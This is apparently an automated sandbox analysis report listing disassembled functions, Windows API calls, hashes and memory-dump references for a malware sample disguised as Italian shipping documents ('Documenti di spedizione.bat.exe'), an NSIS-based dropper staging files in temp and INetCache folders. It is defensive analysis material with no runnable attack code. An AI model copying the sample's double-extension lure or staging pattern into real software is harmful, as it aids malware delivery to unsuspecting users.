Call, xrefs: 00401775, 0040177E, 0040178B, 0040179D, 004017AE, 004017E4, 004017FA, 00401818, 00401858, 004018D9, 004018E2, 004018EC, 004018F7
C:\Users\user\AppData\Local\Temp\nsgDADD.tmp, xrefs: 004017A3, 00401812, 00401830

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid$C:\Users\user\AppData\Local\Temp\nsgDADD.tmp$C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll$Call
API String ID: 1941528284-1457120605
Opcode ID: f1777878cc107186975007c34ec6e0b6c00b7ce99c1c8040aed14bca133d0caf
Instruction ID: 1ba5c428860e61568eef0a4ccac71dac967fbf7ecb8295bcfefdc03a30224d69
Opcode Fuzzy Hash: f1777878cc107186975007c34ec6e0b6c00b7ce99c1c8040aed14bca133d0caf
Instruction Fuzzy Hash: 2341F471A04515BACF107BB5DC45EAF3678EF41328B20823BF021B11E2DA3C8A419FAD

Function 00405110 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
lstrlenA.KERNEL32(00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00402D22,00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00000000,00000000), ref: 0040516C
SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll), ref: 0040517E
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll, xrefs: 00405130, 00405142, 00405148, 0040516B, 00405177

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll
API String ID: 2531174081-3090368769
Opcode ID: 1646e66f1100ef219ca1350417871fd30607a5d42d26b8f3d60eba681ba6f46d
Instruction ID: 38fa31381a166635c2069e030e34d3db0945d62c2eda65f80c6bd2e149c96a35
Opcode Fuzzy Hash: 1646e66f1100ef219ca1350417871fd30607a5d42d26b8f3d60eba681ba6f46d
Instruction Fuzzy Hash: FD215C71E00518BBDF119FA5CD80ADFBFB9EB04354F14807AF904AA291C7799A41CFA8

Function 004055D6 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405619
GetLastError.KERNEL32 ref: 0040562D
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405642
GetLastError.KERNEL32 ref: 0040564C

Strings

ds@, xrefs: 0040560B
ts@, xrefs: 004055DC
C:\Users\user\AppData\Local\Temp\, xrefs: 004055FC
C:\Users\user\Desktop, xrefs: 004055D6

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$ds@$ts@
API String ID: 3449924974-891493705
Opcode ID: f10b22bb5142ab39e3e91bc7df170e02474760785f1b3b99a39c7e09e389b4b4
Instruction ID: f6395dc840433d181f75b3fc8fae80690a43e09e82cbb082af9cf45b84ce1534
Opcode Fuzzy Hash: f10b22bb5142ab39e3e91bc7df170e02474760785f1b3b99a39c7e09e389b4b4
Instruction Fuzzy Hash: 82010871D04259EAEF119FA0DC44BEFBFB8EB14314F008576D908B6280D779A604CFAA

Function 00406222 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406239
wsprintfA.USER32 ref: 00406272
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406286

Strings

%s%s.dll, xrefs: 0040626C
UXTHEME, xrefs: 0040622B
\, xrefs: 0040624A

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: c7ba92785c192ffb77ecdfb90d0fa47c7b7783556fece6129122b9a6395f8fae
Instruction ID: 4eb1d724573375327ef03b870ab6fb06d37159ba94d5fa14c1e1425601a81350
Opcode Fuzzy Hash: c7ba92785c192ffb77ecdfb90d0fa47c7b7783556fece6129122b9a6395f8fae
Instruction Fuzzy Hash: A2F0FC3090011AA7DB24B768DC0DFEB365CAB08305F1401BAA546E11D1D578F9258B69

Function 004023D3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402411
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsgDADD.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402431
RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsgDADD.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040246E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsgDADD.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F

Strings

C:\Users\user\AppData\Local\Temp\nsgDADD.tmp, xrefs: 00402422, 00402430, 00402444, 00402458, 00402463

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp
API String ID: 1356686001-1129426339
Opcode ID: 532cf4714589016526744554cc58b87e9890b833549d6e086e2f56b221f18e11
Instruction ID: 45e6817f5ac0ad5077c8573445b5e51b6f54d3a00a8772886ac111494e5e57ea
Opcode Fuzzy Hash: 532cf4714589016526744554cc58b87e9890b833549d6e086e2f56b221f18e11
Instruction Fuzzy Hash: B52181B1E00109BEEB10EFA4DE49EAF7BB8EB54358F20403AF505B61D1D6B95D019B28

Function 00405B99 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405BAD
GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 00405BC7

Strings

"C:\Users\user\Desktop\Documenti di spedizione.bat.exe", xrefs: 00405B99
C:\Users\user\AppData\Local\Temp\, xrefs: 00405B9C
nsa, xrefs: 00405BA4

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\Documenti di spedizione.bat.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-659548123
Opcode ID: fefc0482c854070ed442c91c2c9b831f833a608d20a08577fe9f9df7fb59a314
Instruction ID: bfd989d901498d13fd43eebbd57bf0dae5b4b0e38faf5f28c0e1a6b78de2ea97
Opcode Fuzzy Hash: fefc0482c854070ed442c91c2c9b831f833a608d20a08577fe9f9df7fb59a314
Instruction Fuzzy Hash: B7F082367086046BEB108F55EC04B9B7BACDF91750F10C03BFA08DA1D0E6B5F9548B59

Function 00402B0E Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(?,?,00000000,?,?), ref: 00402B2F
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402B6B
RegCloseKey.ADVAPI32(?), ref: 00402B74
RegCloseKey.ADVAPI32(?), ref: 00402B99
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402BB7

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 1b6bc3f1deefa661c1c70c6fa14cacfade3144c59ce8f26d4f2651a72c65fdc8
Instruction ID: cbb66f3b7e8ae2888f759c75a40f8dd5de3b5766fb854263a8955dc236021e84
Opcode Fuzzy Hash: 1b6bc3f1deefa661c1c70c6fa14cacfade3144c59ce8f26d4f2651a72c65fdc8
Instruction Fuzzy Hash: 39117C71A00108FFDF11AF90DE89DAA3B7DEB54345F004076FA05F10A0D378AE51AB69

Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC4
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC9
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CCE

GlobalFree.KERNEL32(00000000), ref: 10001768
FreeLibrary.KERNEL32(?), ref: 100017DF
GlobalFree.KERNEL32(00000000), ref: 10001804

Part of subcall function 100021B0: GlobalAlloc.KERNEL32(00000040,7D8BEC45), ref: 100021E2

Part of subcall function 10002589: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,10001739,00000000), ref: 100025FB

Part of subcall function 10001559: lstrcpyA.KERNEL32(00000000,?,00000000,10001695,00000000), ref: 10001572

Strings

, xrefs: 100017E5

Memory Dump Source

Source File: 00000000.00000002.2629006314.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2628993182.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629018868.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629030864.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Documenti di spedizione.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
Instruction ID: 7bd52774c71d274dd6e07030a7ef65efb9a892d3f5f2eddd47f658e3267813e4
Opcode Fuzzy Hash: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
Instruction Fuzzy Hash: B5319C79408205DAFB41DF649CC5BCA37ECFF042D5F018465FA0A9A09EDF78A8858B60

Function 00401C04 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C74
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C8C

Strings

!, xrefs: 00401C40

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: ddb3ae1d6e1b3602016cf6e102a5b51033461e7a55de6e6a3b1605d6dd40c2f8
Instruction ID: 023f80fe09a274ffd38664002148efa248b1b49841e283c842910b226ff12a9e
Opcode Fuzzy Hash: ddb3ae1d6e1b3602016cf6e102a5b51033461e7a55de6e6a3b1605d6dd40c2f8
Instruction Fuzzy Hash: BA219171A44208BEEB15EFA4DA46AED7FB1EF84314F24403EF101B61D1DA7886408B28

Function 00401FFF Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 0040202A

Part of subcall function 00405110: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00402D22,00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 0040203A
GetProcAddress.KERNEL32(00000000,?), ref: 0040204A
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 004020B4

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 725aac035963670df89eafb1b7d16b4a342722268493254e79787a1b1d8c7f06
Instruction ID: 7d08e1e337802b2334af88e0c199d29f708e40c37bf94ee781fb5d0f0b1c297d
Opcode Fuzzy Hash: 725aac035963670df89eafb1b7d16b4a342722268493254e79787a1b1d8c7f06
Instruction Fuzzy Hash: 7B219571E00225F7DB207FA48E49A6E7A74AB44354F20417BF601B22D1D6BE4A42965E

Function 004015BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 00405A02: CharNextA.USER32(?,?,C:\,?,00405A6E,C:\,C:\,75923410,?,75922EE0,004057B9,?,75923410,75922EE0,00000000), ref: 00405A10
Part of subcall function 00405A02: CharNextA.USER32(00000000), ref: 00405A15
Part of subcall function 00405A02: CharNextA.USER32(00000000), ref: 00405A29

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 0040160D

Part of subcall function 004055D6: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405619

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid,00000000,00000000,000000F0), ref: 0040163C

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid, xrefs: 00401631

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid
API String ID: 1892508949-2470430059
Opcode ID: d3ecf39b463245ce7325277e5a84709cb344a9e2d097f8503a0b38c2d9d22c49
Instruction ID: 08eb89b31b1746408a8977735749f07bd83b4a0adfeb71850534f1b020668021
Opcode Fuzzy Hash: d3ecf39b463245ce7325277e5a84709cb344a9e2d097f8503a0b38c2d9d22c49
Instruction Fuzzy Hash: AF110831608151EBDF317FA54D415BF26B0DA92324B28097FE4D1B22D2D53E4943AA7E

Function 00405A57 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405EF7: lstrcpynA.KERNEL32(?,?,00000400,0040336D,00422F20,NSIS Error), ref: 00405F04

Part of subcall function 00405A02: CharNextA.USER32(?,?,C:\,?,00405A6E,C:\,C:\,75923410,?,75922EE0,004057B9,?,75923410,75922EE0,00000000), ref: 00405A10
Part of subcall function 00405A02: CharNextA.USER32(00000000), ref: 00405A15
Part of subcall function 00405A02: CharNextA.USER32(00000000), ref: 00405A29

lstrlenA.KERNEL32(C:\,00000000,C:\,C:\,75923410,?,75922EE0,004057B9,?,75923410,75922EE0,00000000), ref: 00405AAA
GetFileAttributesA.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,75923410,?,75922EE0,004057B9,?,75923410,75922EE0), ref: 00405ABA

Strings

C:\, xrefs: 00405A5D, 00405A62, 00405A68, 00405AA3, 00405AA9, 00405AB1, 00405AB9

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\
API String ID: 3248276644-3404278061
Opcode ID: 0ef386635608f692f0e7c0f61560742430c47c7f4d5a656852c6bdb0725f2d70
Instruction ID: e1d085c028a746cb3a9e1ce3b1c858eea9bd943bc63f8ca8d2e2b8bbc1a38a79
Opcode Fuzzy Hash: 0ef386635608f692f0e7c0f61560742430c47c7f4d5a656852c6bdb0725f2d70
Instruction Fuzzy Hash: 02F0C835305D6526C622233A5C89AAF5A54CE86324719073BF891B52D2DB3C89439D7E

Function 00405688 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421538,Error launching installer), ref: 004056B1
CloseHandle.KERNEL32(?), ref: 004056BE

Strings

Error launching installer, xrefs: 0040569B

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

